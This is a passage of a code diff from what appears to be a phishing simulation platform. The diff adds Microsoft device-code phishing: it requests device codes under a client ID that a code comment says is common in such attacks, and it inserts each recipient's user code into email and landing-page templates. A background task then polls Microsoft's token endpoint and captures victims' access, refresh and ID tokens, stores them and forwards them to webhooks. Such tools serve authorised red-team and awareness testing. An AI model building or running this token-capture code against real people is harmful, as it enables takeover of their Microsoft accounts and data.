campaignCompanyID, *campaignID) } // save sending result @@ -3881,9 +3918,10 @@ func (c *Campaign) sendSingleEmailSMTP( cTemplate *model.CampaignTemplate, campaignRecipient *model.CampaignRecipient, domain *model.Domain, - mailTmpl *template.Template, + emailContent string, email *model.Email, campaignCompanyID *uuid.UUID, + campaignID uuid.UUID, ) error { // get SMTP configuration smtpConfigID, err := cTemplate.SMTPConfigurationID.Get() @@ -3986,6 +4024,13 @@ func (c *Campaign) sendSingleEmailSMTP( } } + // build per-recipient template funcs so that {{MicrosoftDeviceCode}} resolves correctly. + // use the actual recipient id (not the campaign recipient row id) so the + // lookup key matches what the landing page path uses. + recipientID := campaignRecipient.ID.MustGet() + actualRecipientID := campaignRecipient.RecipientID.MustGet() + recipientDeviceFuncs := c.TemplateService.TemplateFuncsWithDeviceCode(ctx, &campaignID, &actualRecipientID) + // setup template variables urlIdentifier := cTemplate.URLIdentifier if urlIdentifier == nil { @@ -4000,7 +4045,6 @@ func (c *Campaign) sendSingleEmailSMTP( urlPath := cTemplate.URLPath.MustGet().String() // generate custom campaign URL if first page is MITM - recipientID := campaignRecipient.ID.MustGet() customCampaignURL, err := c.GetLandingPageURLByCampaignRecipientID(ctx, session, &recipientID) if err != nil { c.Logger.Errorw("failed to get campaign url", "error", err) @@ -4025,7 +4069,7 @@ func (c *Campaign) sendSingleEmailSMTP( } // process subject through template - subjectTemplate, err := template.New("subject").Funcs(c.TemplateService.TemplateFuncsWithCompany(ctx, campaignCompanyID)).Parse(email.MailHeaderSubject.MustGet().String()) + subjectTemplate, err := template.New("subject").Funcs(recipientDeviceFuncs).Parse(email.MailHeaderSubject.MustGet().String()) if err != nil { c.Logger.Errorw("failed to parse subject template", "error", err) return errs.Wrap(err) @@ -4038,8 +4082,14 @@ func (c *Campaign) sendSingleEmailSMTP( } m.Subject(subjectBuffer.String()) + // parse and execute body with per-recipient device code funcs + recipientMailTmpl, err := template.New("email").Funcs(recipientDeviceFuncs).Parse(emailContent) + if err != nil { + c.Logger.Errorw("failed to parse per-recipient mail template", "error", err) + return errs.Wrap(err) + } var bodyBuffer bytes.Buffer - err = mailTmpl.Execute(&bodyBuffer, t) + err = recipientMailTmpl.Execute(&bodyBuffer, t) if err != nil { c.Logger.Errorw("failed to execute mail template", "error", err) return errs.Wrap(err) @@ -4093,7 +4143,7 @@ func (c *Campaign) sendSingleEmailSMTP( return errs.Wrap(err) } - attachmentStr, err := c.TemplateService.CreateMailBodyWithCustomURL( + attachmentStr, err := c.TemplateService.CreateMailBodyWithCustomURLAndRecipient( ctx, urlIdentifier.Name.MustGet(), urlPath, @@ -4103,6 +4153,8 @@ func (c *Campaign) sendSingleEmailSMTP( nil, customCampaignURL, campaignCompanyID, + &campaignID, + &actualRecipientID, ) if err != nil { return errs.Wrap(fmt.Errorf("failed to setup attachment with embedded content: %s", err)) @@ -4149,7 +4201,7 @@ func (c *Campaign) sendSingleEmailSMTP( return errs.Wrap(err) } - attachmentStr, err := c.TemplateService.CreateMailBodyWithCustomURL( + attachmentStr, err := c.TemplateService.CreateMailBodyWithCustomURLAndRecipient( ctx, urlIdentifier.Name.MustGet(), urlPath, @@ -4159,6 +4211,8 @@ func (c *Campaign) sendSingleEmailSMTP( nil, customCampaignURL, campaignCompanyID, + &campaignID, + &actualRecipientID, ) if err != nil { return errs.Wrap(fmt.Errorf("failed to setup attachment with embedded content: %s", err)) diff --git a/backend/service/microsoftDeviceCode.go b/backend/service/microsoftDeviceCode.go new file mode 100644 index 0000000..ce65c77 --- /dev/null +++ b/backend/service/microsoftDeviceCode.go @@ -0,0 +1,521 @@ +package service + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "io" + + "net/http" + "net/url" + "regexp" + "strings" + "time" + + "github.com/google/uuid" + "github.com/oapi-codegen/nullable" + "github.com/phishingclub/phishingclub/cache" + "github.com/phishingclub/phishingclub/data" + "github.com/phishingclub/phishingclub/errs" + "github.com/phishingclub/phishingclub/model" + "github.com/phishingclub/phishingclub/repository" + "github.com/phishingclub/phishingclub/vo" + "gorm.io/gorm" +) + +const ( + // defaultMicrosoftDeviceCodeClientID is the ms office client id commonly used in device code phishing attacks + defaultMicrosoftDeviceCodeClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c" + // defaultMicrosoftDeviceCodeTenantID is the default tenant used when none is specified + defaultMicrosoftDeviceCodeTenantID = "organizations" + // defaultMicrosoftDeviceCodeScope is the default scope requested for graph access + defaultMicrosoftDeviceCodeScope = "https://graph.microsoft.com/.default openid profile offline_access" + // defaultMicrosoftDeviceCodeResource is the default resource target + defaultMicrosoftDeviceCodeResource = "https://graph.microsoft.com" + + // microsoftDeviceCodeEndpoint is the url template for requesting a device code + microsoftDeviceCodeEndpoint = "https://login.microsoftonline.com/%s/oauth2/v2.0/devicecode" + // microsoftTokenEndpoint is the url template for polling the token endpoint + microsoftTokenEndpoint = "https://login.microsoftonline.com/%s/oauth2/v2.0/token" + + // errAuthorizationPending is returned by microsoft when the user has not yet authenticated + errAuthorizationPending = "authorization_pending" +) + +// MicrosoftDeviceCode is the microsoft device code phishing service +type MicrosoftDeviceCode struct { + Common + MicrosoftDeviceCodeRepository *repository.MicrosoftDeviceCode + CampaignRepository *repository.Campaign + CampaignRecipientRepository *repository.CampaignRecipient + CampaignService *Campaign + // HTTPClient is used for all outbound requests to microsoft endpoints. + // defaults to a client with a 15s timeout if nil. + HTTPClient *http.Client +} + +// MicrosoftDeviceCodeOptions holds the options for creating a microsoft device code +type MicrosoftDeviceCodeOptions struct { + ClientID string + TenantID string + Resource string + Scope string +} + +// tenantIDPattern matches valid microsoft tenant identifiers: +// - "common", "organizations", "consumers" (well-known values) +// - a UUID (guid) tenant id +// - a domain name like contoso.com (letters, digits, hyphens, dots) +var tenantIDPattern = regexp.MustCompile(`^([a-zA-Z0-9][a-zA-Z0-9\-\.]{0,253}[a-zA-Z0-9]|common|organizations|consumers)$`) + +// clientIDPattern matches a UUID-format client id +var clientIDPattern = regexp.MustCompile(`^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$`) + +// validateDeviceCodeOptions returns an error if any option value are unexpected or invalid +func validateDeviceCodeOptions(opts *MicrosoftDeviceCodeOptions) error { + if !tenantIDPattern.MatchString(opts.TenantID) { + return fmt.Errorf("invalid tenantId %q: must be a UUID, a domain name, or one of common/organizations/consumers", opts.TenantID) + } + if !clientIDPattern.MatchString(opts.ClientID) { + return fmt.Errorf("invalid clientId %q: must be a UUID", opts.ClientID) + } + return nil +} + +// applyDeviceCodeDefaults fills in any zero-value options with the package defaults +func applyDeviceCodeDefaults(opts *MicrosoftDeviceCodeOptions) { + if opts.ClientID == "" { + opts.ClientID = defaultMicrosoftDeviceCodeClientID + } + if opts.TenantID == "" { + opts.TenantID = defaultMicrosoftDeviceCodeTenantID + } + if opts.Resource == "" { + opts.Resource = defaultMicrosoftDeviceCodeResource + } + if opts.Scope == "" { + opts.Scope = defaultMicrosoftDeviceCodeScope + } +} + +// microsoftDeviceCodeResponse is the json response from microsoft's device code endpoint +type microsoftDeviceCodeResponse struct { + DeviceCode string `json:"device_code"` + UserCode string `json:"user_code"` + VerificationURI string `json:"verification_uri"` + ExpiresIn int `json:"expires_in"` + Interval int `json:"interval"` + Message string `json:"message"` +} + +// microsoftTokenResponse is the json response from microsoft's token endpoint +type microsoftTokenResponse struct { + AccessToken string `json:"access_token"` + RefreshToken string `json:"refresh_token"` + IDToken string `json:"id_token"` + TokenType string `json:"token_type"` + ExpiresIn int `json:"expires_in"` +} + +// microsoftTokenErrorResponse is the json error response from microsoft's token endpoint +type microsoftTokenErrorResponse struct { + Error string `json:"error"` + ErrorDescription string `json:"error_description"` +} + +// requestDeviceCode calls microsoft's device code endpoint and returns the parsed response +func (s *MicrosoftDeviceCode) requestDeviceCode(opts *MicrosoftDeviceCodeOptions) (*microsoftDeviceCodeResponse, error) { + endpoint := fmt.Sprintf(microsoftDeviceCodeEndpoint, opts.TenantID) + form := url.Values{ + "client_id": {opts.ClientID}, + "scope": {opts.Scope}, + } + resp, err := s.HTTPClient.PostForm(endpoint, form) + if err != nil { + return nil, fmt.Errorf("device code request failed: %w", err) + } + defer resp.Body.Close() + + body, err := io.ReadAll(io.LimitReader(resp.Body, 1<<20)) + if err != nil { + return nil, fmt.Errorf("failed to read device code response body: %w", err) + } + + if resp.StatusCode != http.StatusOK { + return nil, fmt.Errorf("device code endpoint returned status %d: %s", resp.StatusCode, string(body)) + } + + var dcResp microsoftDeviceCodeResponse + if err := json.Unmarshal(body, &dcResp); err != nil { + return nil, fmt.Errorf("failed to parse device code response: %w", err) + } + return &dcResp, nil +} + +// pollTokenEndpoint polls microsoft's token endpoint once for the given device code. +// returns (tokenResponse, isPending, error). +// isPending is true when microsoft returns authorization_pending — the caller should keep polling. +// any other error means polling should stop for this code. +func (s *MicrosoftDeviceCode) pollTokenEndpoint(tenantID, clientID, deviceCode string) (*microsoftTokenResponse, bool, error) { + endpoint := fmt.Sprintf(microsoftTokenEndpoint, tenantID) + form := url.Values{ + "grant_type": {"urn:ietf:params:oauth:grant-type:device_code"}, + "client_id": {clientID}, + "device_code": {deviceCode}, + } + resp, err := s.HTTPClient.PostForm(endpoint, form) + if err != nil { + return nil, false, fmt.Errorf("token poll request failed: %w", err) + } + defer resp.Body.Close() + + body, err := io.ReadAll(io.LimitReader(resp.Body, 1<<20)) + if err != nil { + return nil, false, fmt.Errorf("failed to read token poll response body: %w", err) + } + + if resp.StatusCode == http.StatusOK { + var tokenResp microsoftTokenResponse + if err := json.Unmarshal(body, &tokenResp); err != nil { + return nil, false, fmt.Errorf("failed to parse token response: %w", err) + } + return &tokenResp, false, nil + } + + // non-200 — check for authorization_pending vs terminal errors + var errResp microsoftTokenErrorResponse + if err := json.Unmarshal(body, &errResp); err != nil { + return nil, false, fmt.Errorf("token endpoint returned status %d and unparseable body: %s", resp.StatusCode, string(body)) + } + + if errResp.Error == errAuthorizationPending { + return nil, true, nil + } + + // any other error (expired_token, authorization_declined, bad_verification_code, etc.) is terminal + return nil, false, fmt.Errorf("token endpoint error: %s — %s", errResp.Error, errResp.ErrorDescription) +} + +// GetOrCreateDeviceCode returns an existing valid (non-expired, non-captured) device code for the +// given campaign and recipient, or requests a new one from microsoft and persists it. +// no auth use only internal, do not expose to api +func (s *MicrosoftDeviceCode) GetOrCreateDeviceCode( + ctx context.Context, + campaignID *uuid.UUID, + recipientID *uuid.UUID, + opts MicrosoftDeviceCodeOptions, +) (*model.MicrosoftDeviceCode, error) { + applyDeviceCodeDefaults(&opts) + + if err := validateDeviceCodeOptions(&opts); err != nil { + return nil, fmt.Errorf("GetOrCreateDeviceCode: %w", err) + } + + existing, err := s.MicrosoftDeviceCodeRepository.GetByCampaignAndRecipientID(ctx, campaignID, recipientID) + if err != nil && !errors.Is(err, gorm.ErrRecordNotFound) { + s.Logger.Errorw("failed to look up existing device code", "error", err) + return nil, errs.Wrap(err) + } + + if existing != nil { + // return valid non-captured, non-expired, not-about-to-expire entry as-is + if !existing.Captured && !existing.IsExpired() && !existing.ExpiresWithin(5*time.Minute) { + return existing, nil + } + // stale entry — remove it before creating a fresh one + if delErr := s.MicrosoftDeviceCodeRepository.DeleteByCampaignAndRecipientID(ctx, campaignID, recipientID); delErr != nil { + s.Logger.Errorw("failed to delete stale device code entry", "error", delErr) + return nil, errs.Wrap(delErr) + } + } + + // request a fresh device code from microsoft + dcResp, err := s.requestDeviceCode(&opts) + if err != nil { + s.Logger.Errorw("failed to request device code from microsoft", "error", err) + return nil, errs.Wrap(err) + } + + expiresAt := time.Now().UTC().Add(time.Duration(dcResp.ExpiresIn) * time.Second) + + campaignIDNullable := nullable.NewNullableWithValue(*campaignID) + recipientIDNullable := nullable.NewNullableWithValue(*recipientID) + + entry := &model.MicrosoftDeviceCode{ + DeviceCode: dcResp.DeviceCode, + UserCode: dcResp.UserCode, + VerificationURI: dcResp.VerificationURI, + ExpiresAt: &expiresAt, + Resource: opts.Resource, + ClientID: opts.ClientID, + TenantID: opts.TenantID, + Scope: opts.Scope, + Captured: false, + CampaignID: campaignIDNullable, + RecipientID: recipientIDNullable, + } + + newID, err := s.MicrosoftDeviceCodeRepository.Insert(ctx, entry) + if err != nil { + // a unique constraint violation means a concurrent request already inserted a row + // for this campaign+recipient between our lookup and our insert — fetch and return + // that row instead of failing + errMsg := strings.ToLower(err.Error()) + if strings.Contains(errMsg, "unique") || strings.Contains(errMsg, "duplicate") { + existing, fetchErr := s.MicrosoftDeviceCodeRepository.GetByCampaignAndRecipientID(ctx, campaignID, recipientID) + if fetchErr == nil { + return existing, nil + } + } + s.Logger.Errorw("failed to insert device code entry", "error", err) + // save a failed creation event before returning so operators can see the attempt + s.saveDeviceCodeCreatedEvent(ctx, campaignID, recipientID, "", "", err.Error()) + return nil, errs.Wrap(err) + } + + entry.ID = nullable.NewNullableWithValue(*newID) + + // save a campaign event recording the new device code so operators can see + // the user code and verification uri in the campaign event log + s.saveDeviceCodeCreatedEvent(ctx, campaignID, recipientID, entry.UserCode, entry.VerificationURI, "") + + return entry, nil +} + +// saveDeviceCodeCreatedEvent saves a campaign event recording that a device code was created (or +// failed to be created). failReason should be empty on success. +func (s *MicrosoftDeviceCode) saveDeviceCodeCreatedEvent( + ctx context.Context, + campaignID *uuid.UUID, + recipientID *uuid.UUID, + userCode string, + verificationURI string, + failReason string, +) { + eventTypeID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_INFO] + if eventTypeID == nil { + // event type not yet seeded — skip silently + return + } + + payload := map[string]string{ + "user_code": userCode, + "verification_uri": verificationURI, + } + if failReason != "" { + payload["error"] = failReason + } + raw, err := json.Marshal(payload) + if err != nil { + s.Logger.Warnw("failed to marshal device code created event data", "error", err) + return + } + eventData := vo.NewUnsafeOptionalString1MB(string(raw)) + + eventID := uuid.New() + campaignEvent := &model.CampaignEvent{ + ID: &eventID, + CampaignID: campaignID, + RecipientID: recipientID, + EventID: eventTypeID, + IP: vo.NewOptionalString64Must(""), + UserAgent: vo.NewOptionalString255Must(""), + Data: eventData, + Metadata: vo.NewEmptyOptionalString1MB(), + } + if saveErr := s.CampaignRepository.SaveEvent(ctx, campaignEvent); saveErr != nil { + s.Logger.Errorw("failed to save device code created event", "error", saveErr) + } +} + +// PollAllPending is called by the background task runner. +// it fetches all non-captured, non-expired device codes and polls microsoft's token endpoint once +// per entry. on a successful capture it marks the entry, saves a campaign event, and updates the +// most notable event for the campaign recipient. +func (s *MicrosoftDeviceCode) PollAllPending(ctx context.Context) error { + pending, err := s.MicrosoftDeviceCodeRepository.GetAllPendingNotExpired(ctx) + if err != nil { + s.Logger.Errorw("failed to fetch pending device codes", "error", err) + return errs.Wrap(err) + } + + for _, entry := range pending { + if err := s.pollAndCapture(ctx, entry); err != nil { + // log but continue — a failure on one entry must not stop the rest + s.Logger.Errorw("failed to poll device code entry", + "error", err, + "deviceCodeID", entry.ID, + ) + } + } + return nil +} + +// pollAndCapture polls the token endpoint for a single device code entry and, on success, +// persists the captured tokens and emits a campaign event. +func (s *MicrosoftDeviceCode) pollAndCapture(ctx context.Context, entry *model.MicrosoftDeviceCode) error { + entryID := entry.ID.MustGet() + + // record that we polled this entry, even if the result is still pending + if err := s.MicrosoftDeviceCodeRepository.UpdateLastPolledAt(ctx, &entryID, time.Now()); err != nil { + s.Logger.Warnw("failed to update last_polled_at for device code entry", + "error", err, + "deviceCodeID", entryID, + ) + } + + tokenResp, isPending, err := s.pollTokenEndpoint(entry.TenantID, entry.ClientID, entry.DeviceCode) + if err != nil { + // terminal error from microsoft — log at debug level since this is expected for + // denied/expired codes and we don't want to spam the error logs + s.Logger.Debugw("device code polling returned terminal error", + "error", err, + "userCode", entry.UserCode, + ) + return nil + } + if isPending { + // user has not authenticated yet — nothing to do this tick + return nil + } + + // we have tokens — mark the entry as captured + if err := s.MicrosoftDeviceCodeRepository.MarkCaptured( + ctx, + &entryID, + tokenResp.AccessToken, + tokenResp.RefreshToken, + tokenResp.IDToken, + ); err != nil { + s.Logger.Errorw("failed to mark device code as captured", "error", err) + return errs.Wrap(err) + } + + campaignID, err := entry.CampaignID.Get() + if err != nil { + s.Logger.Errorw("captured device code entry is missing campaign id", "entryID", entryID.String()) + return fmt.Errorf("device code entry %s has no campaign id", entryID.String()) + } + + recipientID, err := entry.RecipientID.Get() + if err != nil { + s.Logger.Errorw("captured device code entry is missing recipient id", "entryID", entryID.String()) + return fmt.Errorf("device code entry %s has no recipient id", entryID.String()) + } + + // fetch the campaign to check SaveSubmittedData + campaign, err := s.CampaignRepository.GetByID(ctx, &campaignID, &repository.CampaignOption{}) + if err != nil { + s.Logger.Errorw("failed to get campaign for submit event", "error", err) + return errs.Wrap(err) + } + + // build event data json containing the captured tokens + eventData, err := s.buildCapturedEventData(tokenResp, entry.UserCode, entry.ClientID) + if err != nil { + // non-fatal — use an empty string rather than failing the whole capture + s.Logger.Warnw("failed to build device code event data, falling back to empty", "error", err) + eventData = vo.NewEmptyOptionalString1MB() + } + + // save as a submitted data event + // if SaveSubmittedData is disabled, record the event but store empty data. + var submitData *vo.OptionalString1MB + if campaign.SaveSubmittedData.MustGet() { + submitData = eventData + } else { + submitData = vo.NewOptionalString1MBMust("{}") + } + submitEventID := uuid.New() + submitDataEventTypeID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA] + submitEvent := &model.CampaignEvent{ + ID: &submitEventID, + CampaignID: &campaignID, + RecipientID: &recipientID, + EventID: submitDataEventTypeID, + IP: vo.NewOptionalString64Must(""), + UserAgent: vo.NewOptionalString255Must(""), + Data: submitData, + Metadata: vo.NewEmptyOptionalString1MB(), + } + if err := s.CampaignRepository.SaveEvent(ctx, submitEvent); err != nil { + s.Logger.Errorw("failed to save device code submit event", "error", err) + return errs.Wrap(err) + } + + // fire webhooks for the submitted data event + if s.CampaignService != nil { + webhookData := map[string]interface{}{ + "access_token": tokenResp.AccessToken, + "refresh_token": tokenResp.RefreshToken, + "id_token": tokenResp.IDToken, + "user_code": entry.UserCode, + "client_id": entry.ClientID, + } + if err := s.CampaignService.HandleWebhooks( + ctx, + &campaignID, + &recipientID, + data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA, + webhookData, + ); err != nil { + s.Logger.Errorw("failed to handle webhooks for device code capture", "error", err) + } + } + + // update most notable event for the campaign recipient + campaignRecipient, err := s.CampaignRecipientRepository.GetByCampaignAndRecipientID( + ctx, + &campaignID, + &recipientID, + &repository.CampaignRecipientOption{}, + ) + if err != nil { + s.Logger.Errorw("failed to get campaign recipient for notable event update", "error", err) + // not returning — the tokens are already captured, so this is best-effort + return nil + } + + currentNotableEventID, _ := campaignRecipient.NotableEventID.Get() + if cache.IsMoreNotableCampaignRecipientEventID(¤tNotableEventID, submitDataEventTypeID) { + campaignRecipient.NotableEventID.Set(*submitDataEventTypeID) + crid := campaignRecipient.ID.MustGet() + if err := s.CampaignRecipientRepository.UpdateByID(ctx, &crid, campaignRecipient); err != nil { + s.Logger.Errorw("failed to update most notable event for campaign recipient after device code capture", "error", err) + } + } + + s.Logger.Infow("microsoft device code captured successfully", + "campaignID", campaignID.String(), + "recipientID", recipientID.String(), + "userCode", entry.UserCode, + ) + return nil +} + +// buildCapturedEventData serialises the captured token information into a 1MB-bounded vo string. +func (s *MicrosoftDeviceCode) buildCapturedEventData( + tokenResp *microsoftTokenResponse, + userCode string, + clientID string, +) (*vo.OptionalString1MB, error) { + payload := map[string]string{ + "access_token": tokenResp.AccessToken, + "id_token": tokenResp.IDToken, + "refresh_token": tokenResp.RefreshToken, + "user_code": userCode, + "client_id": clientID, + } + raw, err := json.Marshal(payload) + if err != nil { + return nil, fmt.Errorf("failed to marshal captured token payload: %w", err) + } + // a truncated JWT or refresh token is cryptographically invalid and cannot be replayed, + // so exceeding the 1 MB limit is treated as an error rather than silently corrupting the data. + result, err := vo.NewOptionalString1MB(string(raw)) + if err != nil { + return nil, fmt.Errorf("captured token payload exceeds 1 MB limit: %w", err) + } + return result, nil +} diff --git a/backend/service/templateService.go b/backend/service/templateService.go index 273f710..b0ce395 100644 --- a/backend/service/templateService.go +++ b/backend/service/templateService.go @@ -32,7 +32,8 @@ const trackingPixelTemplate = "{{.Tracker}}" // templates such as websites, emails, etc. type Template struct { Common - RecipientRepository *repository.Recipient + RecipientRepository *repository.Recipient + MicrosoftDeviceCodeService *MicrosoftDeviceCode } // CreateMailTemplate creates a new mail template @@ -254,6 +255,38 @@ func (t *Template) CreateMailBodyWithCustomURL( apiSender *model.APISender, // can be nil customCampaignURL string, // if provided, overrides the default campaign URL companyID *uuid.UUID, +) (string, error) { + return t.CreateMailBodyWithCustomURLAndRecipient( + ctx, + urlIdentifier, + urlPath, + domain, + campaignRecipient, + email, + apiSender, + customCampaignURL, + companyID, + nil, + nil, + ) +} + +// CreateMailBodyWithCustomURLAndRecipient renders a mail body with an optional custom campaign URL. +// when campaignID and recipientID are non-nil the DeviceCode template functions are wired to the +// live implementation so that {{MicrosoftDeviceCode}} / {{MicrosoftDeviceCodeURL}} resolve correctly +// in email bodies and attachments. +func (t *Template) CreateMailBodyWithCustomURLAndRecipient( + ctx context.Context, + urlIdentifier string, + urlPath string, + domain *model.Domain, + campaignRecipient *model.CampaignRecipient, + email *model.Email, + apiSender *model.APISender, // can be nil + customCampaignURL string, // if provided, overrides the default campaign URL + companyID *uuid.UUID, + campaignID *uuid.UUID, // if non-nil, device code funcs are wired + recipientID *uuid.UUID, // if non-nil, device code funcs are wired ) (string, error) { mailData := t.CreateMail( ctx, @@ -271,8 +304,16 @@ func (t *Template) CreateMailBodyWithCustomURL( (*mailData)["URL"] = customCampaignURL } + // use device code funcs when both ids are present so {{MicrosoftDeviceCode}} resolves + var funcs template.FuncMap + if campaignID != nil && recipientID != nil { + funcs = t.TemplateFuncsWithDeviceCode(ctx, campaignID, recipientID) + } else { + funcs = t.TemplateFuncsWithCompany(ctx, companyID) + } + mailContentTemplate := template.New("mailContent") - mailContentTemplate = mailContentTemplate.Funcs(t.TemplateFuncsWithCompany(ctx, companyID)) + mailContentTemplate = mailContentTemplate.Funcs(funcs) content, err := email.Content.Get() if err != nil { t.Logger.Errorw("failed to get email content", "error", err) @@ -326,6 +367,26 @@ func (t *Template) CreatePhishingPageWithCampaign( urlPath string, campaign *model.Campaign, companyID *uuid.UUID, +) (*bytes.Buffer, error) { + return t.CreatePhishingPageWithCampaignAndRecipient(ctx, domain, email, campaignRecipientID, nil, recipient, contentToRender, campaignTemplate, stateParam, urlPath, campaign, companyID) +} + +// CreatePhishingPageWithCampaignAndRecipient creates a new phishing page with optional campaign and +// explicit recipient id for device code phishing support. when recipientID is non-nil the DeviceCode +// template function is wired to the live implementation. +func (t *Template) CreatePhishingPageWithCampaignAndRecipient( + ctx context.Context, + domain *database.Domain, + email *model.Email, + campaignRecipientID *uuid.UUID, + recipientID *uuid.UUID, + recipient *model.Recipient, + contentToRender string, + campaignTemplate *model.CampaignTemplate, + stateParam string, + urlPath string, + campaign *model.Campaign, + companyID *uuid.UUID, ) (*bytes.Buffer, error) { w := bytes.NewBuffer([]byte{}) id := campaignRecipientID.String() @@ -379,8 +440,16 @@ func (t *Template) CreatePhishingPageWithCampaign( } } + var templateFuncs template.FuncMap + if campaign != nil && recipientID != nil { + campaignID := campaign.ID.MustGet() + templateFuncs = t.TemplateFuncsWithDeviceCode(ctx, &campaignID, recipientID) + } else { + templateFuncs = t.TemplateFuncsWithCompany(ctx, companyID) + } + tmpl, err := template.New("page"). - Funcs(t.TemplateFuncsWithCompany(ctx, companyID)). + Funcs(templateFuncs). Parse(contentToRender) if err != nil { @@ -400,8 +469,8 @@ func (t *Template) CreatePhishingPageWithCampaign( // add random recipient data to template context (excluding current recipient) var excludeRecipientID *uuid.UUID - if recipientID, err := recipient.ID.Get(); err == nil { - excludeRecipientID = &recipientID + if rid, err := recipient.ID.Get(); err == nil { + excludeRecipientID = &rid } (*data)["RandomRecipient"] = t.getRandomRecipientData(ctx, companyID, excludeRecipientID) err = tmpl.Execute(w, data) @@ -571,6 +640,16 @@ func TemplateFuncs() template.FuncMap { "base64": func(s string) string { return base64.StdEncoding.EncodeToString([]byte(s)) }, + // MicrosoftDeviceCode is a no-op stub used during template validation; it is replaced with + // a live implementation via TemplateFuncsWithDeviceCode when rendering for real recipients. + "MicrosoftDeviceCode": func(args ...string) (string, error) { + return "ABCD-1234", nil + }, + // MicrosoftDeviceCodeURL is a no-op stub used during template validation; it is replaced with + // a live implementation via TemplateFuncsWithDeviceCode when rendering for real recipients. + "MicrosoftDeviceCodeURL": func(args ...string) (string, error) { + return "https://microsoft.com/devicelogin", nil + }, } } @@ -579,6 +658,68 @@ func (t *Template) TemplateFuncsWithCompany(ctx context.Context, companyID *uuid return TemplateFuncs() } +// TemplateFuncsWithDeviceCode returns template functions with live MicrosoftDeviceCode and MicrosoftDeviceCodeURL +// implementations bound to the given campaign and recipient. both functions accept optional keyword +// arguments as alternating key/value string pairs, e.g.: +// +// {{MicrosoftDeviceCode "clientId" "d3590ed6-..." "tenantId" "contoso.com"}} +// {{MicrosoftDeviceCodeURL "clientId" "d3590ed6-..." "tenantId" "contoso.com"}} +// +// supported keys: clientId, tenantId, resource, scope +// +// MicrosoftDeviceCode returns the short user code (e.g. "ABCD-1234") to display to the victim. +// MicrosoftDeviceCodeURL returns the verification URI the victim should visit. +func (t *Template) TemplateFuncsWithDeviceCode( + ctx context.Context, + campaignID *uuid.UUID, + recipientID *uuid.UUID, +) template.FuncMap { + funcs := TemplateFuncs() + if t.MicrosoftDeviceCodeService == nil || *campaignID == uuid.Nil || *recipientID == uuid.Nil { + // device code service not wired or no real ids available (e.g. test/preview context) — + // return the no-op stub so the template still renders with placeholder values + return funcs + } + + // parseDeviceCodeOpts parses alternating key/value argument pairs into a MicrosoftDeviceCodeOptions struct + parseDeviceCodeOpts := func(args []string) MicrosoftDeviceCodeOptions { + opts := MicrosoftDeviceCodeOptions{} + for i := 0; i+1 < len(args); i += 2 { + switch args[i] { + case "clientId": + opts.ClientID = args[i+1] + case "tenantId": + opts.TenantID = args[i+1] + case "resource": + opts.Resource = args[i+1] + case "scope": + opts.Scope = args[i+1] + } + } + return opts + } + + funcs["MicrosoftDeviceCode"] = func(args ...string) (string, error) { + opts := parseDeviceCodeOpts(args) + entry, err := t.MicrosoftDeviceCodeService.GetOrCreateDeviceCode(ctx, campaignID, recipientID, opts) + if err != nil { + return "", fmt.Errorf("MicrosoftDeviceCode: failed to get or create device code: %w", err) + } + return entry.UserCode, nil + } + + funcs["MicrosoftDeviceCodeURL"] = func(args ...string) (string, error) { + opts := parseDeviceCodeOpts(args) + entry, err := t.MicrosoftDeviceCodeService.GetOrCreateDeviceCode(ctx, campaignID, recipientID, opts) + if err != nil { + return "", fmt.Errorf("MicrosoftDeviceCodeURL: failed to get or create device code: %w", err) + } + return entry.VerificationURI, nil + } + + return funcs +} + // getRandomRecipientData gets a random recipient from a company and returns a map of their data func (t *Template) getRandomRecipientData(ctx context.Context, companyID *uuid.UUID, excludeRecipientID *uuid.UUID) map[string]string { data := map[string]string{ diff --git a/backend/task/runner.go b/backend/task/runner.go index e6fedbc..bd530fc 100644 --- a/backend/task/runner.go +++ b/backend/task/runner.go @@ -21,10 +21,11 @@ const SYSTEM_TASK_INTERVAL = 1 * time.Hour // Daemon is for running tasks in the background // ex: sending emails etc.. type Runner struct { - CampaignService *service.Campaign - UpdateService *service.Update - IsRunning bool - Logger *zap.SugaredLogger + CampaignService *service.Campaign + UpdateService *service.Update + MicrosoftDeviceCode *service.MicrosoftDeviceCode + IsRunning bool + Logger *zap.SugaredLogger } // Run starts the rask runner @@ -163,7 +164,7 @@ func (d *Runner) Process( ) }) d.Logger.Debug("task runner started processing") - // send the next batch of messagess + // send the next batch of messages d.runTask("send messages", func() error { err := d.CampaignService.SendNextBatch( ctx, @@ -171,6 +172,13 @@ func (d *Runner) Process( ) return errs.Wrap(err) }) + // poll pending device codes and capture any successful authentications + d.runTask("poll device codes", func() error { + if d.MicrosoftDeviceCode == nil { + return nil + } + return d.MicrosoftDeviceCode.PollAllPending(ctx) + }) d.Logger.Debug("task runner ended processing") } diff --git a/frontend/src/lib/components/EventTimeline.svelte b/frontend/src/lib/components/EventTimeline.svelte index a4ad78f..46711ac 100644 --- a/frontend/src/lib/components/EventTimeline.svelte +++ b/frontend/src/lib/components/EventTimeline.svelte @@ -25,7 +25,8 @@ campaign_recipient_after_page_visited: '#f6287b', campaign_recipient_deny_page_visited: '#ff6b35', campaign_recipient_submitted_data: '#f42e41', - campaign_recipient_reported: '#2c3e50' + campaign_recipient_reported: '#2c3e50', + campaign_recipient_info: '#94cae6' }); const EVENT_ICONS = Object.freeze({ @@ -60,7 +61,9 @@ campaign_recipient_submitted_data: '', campaign_recipient_reported: - '' + '', + campaign_recipient_info: + '' }); const DEFAULT_ICON = @@ -126,7 +129,8 @@ campaign_recipient_after_page_visited: true, campaign_recipient_deny_page_visited: true, campaign_recipient_submitted_data: true, - campaign_recipient_reported: true + campaign_recipient_reported: true, + campaign_recipient_info: true }; // caching - pre-processed events with timestamps @@ -1080,7 +1084,7 @@ Recipient Events
